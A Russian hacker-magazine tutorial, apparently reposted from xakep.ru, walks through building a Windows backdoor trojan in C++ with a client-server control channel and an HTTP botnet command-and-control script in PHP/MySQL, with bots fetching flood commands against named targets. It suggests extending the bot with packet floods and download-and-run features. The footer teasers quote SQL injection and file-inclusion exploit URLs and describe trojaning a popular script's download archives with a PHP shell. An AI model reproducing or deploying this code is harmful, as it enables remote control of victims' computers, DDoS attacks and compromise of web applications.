Наши материалы
Системы безопасности связи
Парковка
Рынок страхования

Бизнес-новости

Инвестиции

Валютные операции

Электронная коммерция

Реклама

Промышленность

Рейтинги и Опросы

Пресс-релизы

Транспортный сервер

Бухгалтерские заметки

Успешный бизнес

Обзор рынков

Разнообразие мира связи


Темы статей
Сельхозпроизводство



Платный хостинг от провайдера HostSpace.com.ua - хостинг, регистрация доменов. Поддержка PHP, MySQL, почта - в каждом тарифном плане.

Зомби-сети: дом мертвецов

Вступление

Данная статья является продолжением моей статьи "Зомби-сети: Рассвет Мертвецов". На мой email пришло много вопросов по поводу реализаций управления RAT. Так что я решил рассказать об этом подробнее. Ну, во-первых, мы напишем с тобой простейший троян, работающий по архитектуре "клиент-сервер". Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с "клиент-сервера".









Клиент-Сервер

Еще несколько лет назад в сети было огромное количество троянов, работающих по этой архитектуре, сейчас же все принялись за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamers Death, AntiLamer Backdoor - все это уже в прошлом. По моему мнению, любой троян, имеющий в себе функции RAT должен содержать в себе бэкдор, работающий как раз по архитектуре "клиент-сервер". Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с сервера (:

- Как это будет работать

Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:

  • Слушать заданный порт
  • При подключении принимать команду
  • Обработка команды (парсинг)
  • Выполнение команды
  • Смотри: серверная часть трояна слушает заданный порт и обработав команду выполняет ее. Клиентской частью мы будем слать эти самые команды на заданный порт. Ясно?

    - Пишем сервер

    В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h.  Сначала создаем серверный сокет "s" и заполним его структуру: 

    #define PORT 31337 // порт, на котором будет висеть бэкдор

    //
    ... заполним структуру сокета ... //
    SOCKET s; SOCKADDR_IN localaddr;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); //
    создаем сокет "s"
    localaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
    localaddr.sin_family = AF_INET; 
    localaddr.sin_port = htons(PORT); //
    присваиваем порт

    bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); //
    биндим 
    listen(s, 0); //
    и ставим на прослушку (:

    //
    это будет наш сокет, принимающий клиентские запросы:
    SOCKADDR_IN client_addr;
    int client_addr_size=sizeof(client_addr);


    Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept подключаем клиента, а с помощью функции recv получаем данные от клиента:

    while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
    {
    recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); //
    100 - количество возможных символов, 
    //
    принимаемых от клиента.

    Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его. Проще говоря, получая команду "message hacked _1nf3ct3d_by_1n3ct0r_" мы должны разделить ее на слова и затолкать их в какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно, лучше использовать какой-нибудь другой символ, к примеру "*". Тогда клиент будет слать команду примерно так:

    message*hacked*1nf3ct3d by 1nf3ct0r

    По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением 
    "hacked" и заголовком "1nf3ct3d by 1nf3ct0r". Приступим к парсингу: 

    char* cmd[32];
    char* cmdparse = strtok(recvbuffer,"*"); //
    символ "*" - разделение команд
    for(int i = 0; t; cmdparse = strtok(NULL,"*"), i++){ cmd[i] = cmdparse; }


    Как видишь, все "слова" команды записываются в массив "cmd". К примеру, получив команду "message*hacked*1nf3ct3d by 1nf3ct0r" от клиента, данные в массиве располагаться будут так:

    cmd[0] = message - сама команда (вывод сообщения)
    cmd[1] = hacked - параметр 1 (сообщение)
    cmd[2] = 1nf3ct3d by 1nf3ct0r - параметр 2 (заголовок)

    Вот, собственно пример обработка команды "message":

    if (strcmp(cmd[0]], "message")==0){ 
    MessageBox(0,cmd[1],cmd[2],0);


    Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:

    // пример обработки команды "monitor_off"
    if (strcmp(cmd[0], "monitor_off")==0)

    SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
    strcpy(sendbuf,"\n have phun \n"); send(client_socket,sendbuf,strlen(sendbuf),0); }


    После получения команды "monitor_off" на зараженной машине выключится монитор, а на клиент придет сообщение "have phun" :). Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером. Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как писать... 

    - Пишем клиент

    Что должен уметь клиент? Ответ прост:

  • Возможность отсылки команд
  • Получение ответа от сервера
  • Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры

    SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;

    if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) //
    созадим сокет
    {
    readfds.fd_count=1;
    readfds.fd_array[0]=main_socket;
    my_addr.sin_family=AF_INET;
    my_addr.sin_port=htons(31337); //
    порт бэкдора
    my_addr.sin_addr.s_addr=resolve("localhost"); //
    хост зараженной машины

    Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой функции: 

    DWORD resolve(char *host)
    {
    DWORD ret = 0;
    struct hostent * hp = gethostbyname(host);
    if (!hp) ret = inet_addr(host);
    if ((!hp)&&(ret == INADDR_NONE)) return 0;
    if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
    return ret;
    }


    Теперь приконнектимся к бэкдору и посылаем команду: 

    printf("[+] Connecting...");
    if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
    {
    printf(" done. \n\r\n\r");

    strcpy(buffer, "message*hacked*1nf3ct3d by 1nf3ct0r"); //
    в буфер записываем комманду 
    send(main_socket,buffer,strlen(buffer),0); //
    и шлем ее серверу на обработку

    Ну и получаем ответ от бэкдора, снова с помощью recv.

    int i = 0;
    while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
    {
    printf(recvbuffer);
    strcpy(recvbuffer,"");
    }
    } else { printf(" cant connect. \n\r\n\r");

    Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши: 

    WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);

    Ну и чтобы закончить - WSACleanup(). 
    Перейдем к управлению по HTTP. 

    Управление по HTTP

    Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно немного времени, терпения и желания :)

    - Как это все будет работать

    Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту нашим ботом:

  • getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
  • getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
  • Как видно из параметров, скрипт имеет два "режима". Первый - добавляет бота в БД (addtodb=1), второй (getcommand=1) - выдает команду. Параметры также говорят сами за себя: 

  • UID - уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках просто копируется от туда.
  • IP - текущий IP-адрес машины. Без комментариев.
  • OS - дополнительная информация о системе. Как вариант - имя пользователя, компьютера и версия ОС. 
  • При каждом коннекте к базе данных информация UID, IP, OS будет обновляться. Начнем.

    - Заполняем БД

    Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:

    CREATE TABLE botcommands (
    uid varchar(200) NOT NULL default , #
    uid бота
    cmd varchar(200) NOT NULL default , #
    команда для бота
    ip varchar(200) NOT NULL default , #
    ip-адрес бота
    os varchar(200) NOT NULL default , #
    сведения о системе
    FULLTEXT KEY uid (uid)
    ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;


    Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:

    UID = 1nf3ct0r; 
    IP = 127.0.0.1;
    OS = InfectedOS;
    CMD = flood www.microsoft.com

    Вот так будет выглядит SQL-запрос. 

    INSERT INTO botcommands VALUES (1nf3ct0r, flood www.microsoft.com, 127.0.0.1, InfectedOS);

    В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :). Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL (rst.void.ru). 

    - Пишем скрипты 

    Испугался писать работу с базой данных MySQL на PHP? Ничего страшного :) В PHP уже есть готовые функции для работы с ней. Первая функция, которая нам понадобится - коннект к базе данных. Для этого существует функция mysql_connect($host,$login,$password):

    $SETS[mysql][host]=localhost;
    $SETS[mysql][login]=root;
    $SETS[mysql][password]=;
    $SETS[mysql][db]=bots;

    $connect=mysql_connect($SETS[mysql][host],$SETS[mysql][login],$SETS[mysql][password]);
    if ($connect===FALSE) die(Cant connect);

    mysql_select_db($SETS[mysql][db]);


    Чтобы это все работало, в host надо записать хост базы данных, в login - логин, в password - пароль, а в db - имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее. Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:

    mysql_query($the_query);

    Переменная $the_query - это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела. Посмотрел код? Теперь давай писать самый главный скрипт взаимодействия бота с сервером, я буду называть его getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут. Окей, теперь давай напишем самый главный код и приступим к самому боту :) Для начала объявим переменные:

    $uid=$_GET[uid];
    $ip=$_GET[ip];
    $os=$_GET[os];
    $getcommand=$_GET[getcommand];
    $addtodb=$_GET[addtodb];


    Позволь напомнить тебе два запроса:

  • getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу обратившись по данному линку мы увидим ответ: done
  • getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду обратившись по данному линку мы увидим ответ: flood www.microsoft.com, а точнее значение поля CMD.
  • Все. Обрабатываем GetCommand [2]:

    if ($getcommand == 1)
    {
    $result = mysql_query("SELECT cmd FROM botcommands WHERE uid=".$uid."");
    echo mysql_result($result,0);

    //
    и обновляем все данные бота (IP, OS):
    mysql_query("UPDATE botcommands SET ip=".$ip.", os=".$os." WHERE uid=".$uid."");


    Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос - в этом главное отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую разобраться с этим получше, так как SQL, на самом деле очень полезная штука :). 

    Запрос SELECT cmd FROM botcommands WHERE uid=<UID> возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид. Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid=h4x0r будет floot it.org. Запрос UPDATE botcommands SET ip=<ip>, os=<os> WHERE uid=<uid> обновит значения полей. Пример:

    UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r

    В результате запись из БД будет выглядеть так: 

    1nf3ct0r 31.33.73.00 some_info hacktheplan8

    Теперь рассмотрим кусок кода, который добавит бота в базу данных: 

    } else if ($addtodb == 1)

    echo "done"; 
    mysql_query("INSERT INTO botcommands (uid,ip,os) VALUES (".$uid.",".$ip.",".$os.")");
    }

    что касается echo "done" - то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления, в базу. Но об этом позже. Все, можешь смело сохранять скрипт - он готов. Что же касается админки - пиши сам :). Пишем соответствующие функции для бота? ;)

    - А теперь примемся за бота... 

    Рассмотрим главную функцию бота: 

    int main()
    {
    WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //
    инициализируем WinSock2 API

    LONG sz; char buf[2]; HKEY key;

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT", 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
    {getcommand("getcommand");} else { getcommand("addtobase"); }

    WSACleanup();
    return 0;
    }


    Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи. Функция getcommand имеет параметр _action: getcommand(char* _action).

    Сам _action двух типов:

  • getcommand
    при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали. 
  • addtobase
    бот добавляется в базу :)
  • Смотри код:

    char *param;
    if (_action == "addtobase")
    {
    param = "?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS";
    } else if (_action = "getcommand")
    {
    param = "?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2";
    }

    Я не стал писать функцию получения инфы IP, OS и генерации UID - ты сам прекрасно с этим справишься, если захочешь.  Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим :) 

    #define HOST "localhost" 
    #define COMMAND "/z0mbie/getcommand.php" 

    char sendbuffer[1024], recvbuffer[1024]; 
    memset(recvbuffer,0,1024);
    // Формируем GET-пакет:
    strcpy(sendbuffer, "GET ");
    strcat(sendbuffer, COMMAND);
    strcat(sendbuffer, param);
    strcat(sendbuffer, " HTTP/1.0\r\nHost: ");
    strcat(sendbuffer, HOST);
    strcat(sendbuffer, "\r\n\r\n");


    Создаем сокет, заполняем его структуры:

    SOCKET s = socket(AF_INET,SOCK_STREAM,0);
    SOCKADDR_IN webaddr;
    webaddr.sin_addr.S_un.S_addr = resolve(HOST); //
    ф-ию резолва я уже описывал :)
    webaddr.sin_family = AF_INET;
    webaddr.sin_port = htons(80);


    Коннектимся к серверу и шлем пакет: 

    if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1; 
    send(s, sendbuffer, strlen(sendbuffer),0);
    Sleep(2000);


    Получаем ответ от вэб сервера: 

    int i;
    while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
    {if (i == SOCKET_ERROR) return -1;}

    Парсим его: 

    char *temp,*token;
    for(int i = 0; recvbuffer[i]!=0; ++i) //
    отбрасываем заголовок
    {
    if((recvbuffer[i]==\r)&&(recvbuffer[i+1]==\n)&&
    (recvbuffer[i+2]==\r)&&(recvbuffer[i+3]==\n))
    {temp = (char*)&recvbuffer[i] + 4;break;}
    }
    if(strcmp(temp,"")==0) { temp = "no_commands"; }
    token = strtok(temp, " \r\n"); //
    делим файл на слова

    char *serv,*chan,*times,*freq,*msg;
    char *port;


    Вот теперь, внимание! Помнишь тот самый echo "done" в php-скрипте? Это нам понадобится для того, чтобы проверить реально ли добавился бот в базу. Например, если сервер упал :) При получении строки "done" бот создает ключ в реестре, по которому в дальнейшем ориентируется добавляться в базу или нет. 

    if(strcmp(token,"done")==0)
    {
    HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT", &hk);
    }


    А вот пример парсинга с получением семи параметров для некой функции ircflood - она есть в исходнике к статье, грубо говоря это распределенный флудер IRC-серверов. Вот парсинг: 

    else if(strcmp(token,"ircflood")==0)
    {
    for (int i = 0; i <6; i++){
    token = strtok(NULL, " \r\n");
    if (i==0) { serv = token; } //
    получаем 1ый параметр (сервер)
    if (i==1) { port = token; } //
    получаем 2ый параметр (порт)
    if (i==2) { chan = token; } //
    получаем 4ый параметр (канал)
    if (i==3) { times = token; } //
    получаем 5ый параметр (кол-во коннектов)
    if (i==4) { freq = token; } //
    получаем 6ый параметр (частоту отсыла)
    if (i==5) { msg = token; } //
    получаем 7ой параметр (мессагу)
    }


    Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и запуск любого EXE-файла.

    Заключение

    В этой статье мы очень подробно разобрали управление по HTTP и архитектуру "клиент-сервер". Готовые реализации с сорсами ты найдешь в файлах к статье. В общем, если было что-то непонятно:

  • Читай первую часть статьи.
  • Разбирись с WinSock2 API и смотри файлы к статье.
  • Пиши мне на мыло и учись юзать google.
  • На сегодня хватит. Все свободны :)

    Исходники



    www.xakep.ru

    Системы безопасности связи 16-08-2006
    sql-инъекция в diesel pay sсriрt 22-09-2008 Системы безопасности связи
    Программа: Diesel Pay ScriptУязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «area» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.Эксплоит:http://localhost/script_path/index.php?a=browse&...


    Троянский конь в PhpMyFaq: история протроянивания популярного движка 20-09-2008 Системы безопасности связи
    Как-то раз я наткнулся в Гугле на сайтhttp://phpmyfaq.de. Это официальная страница движка для создания факов – PhpMyFaq (по аналогии со скриптом менеджера БД PhpMyAdmin). Заинтересовавшись, я решил проверить распространенность движка в инете. По запросу «phpmyfaq» поисковик выдал 828 000 результатов! И тут мне пришла безумная идея: что, если взломать официальный сайт движка, а затем протроянить архивы с PhpMyFaq своим php-шеллом?Пои...


    PHP-инклюдинг в D-iscussion Board 15-09-2008 Системы безопасности связи
    Программа: D-iscussion Board 3.01Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «topic» сценарием index.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.Эксплоит:http://127.0.0.1/3.01/general/index.php?topic=../../../../autoexec.bat%00...


    Пентагон поставит на самолеты Linux 15-09-2008 Системы безопасности связи
    Американское военное ведомство планирует в скором времени осуществить массовую смену операционных систем в бортовых компьютерах боевых самолетов и вертолетов. Коммерческие продукты по всем параметрам не удовлетворили генералов.Вместо продуктов с закрытым исходным кодом, вроде Windows, американское военное ведомство может начать использовать программное обеспечение с открытым исходным кодом (Linux) в пилотируемых и беспилотных летательны...
     
     
    Copyright by www.quote.com.ua.
    Цитирование материалов допускается при наличии ссылки на www.quote.com.ua.
    Rambler's Top100 Рейтинг@Mail.ru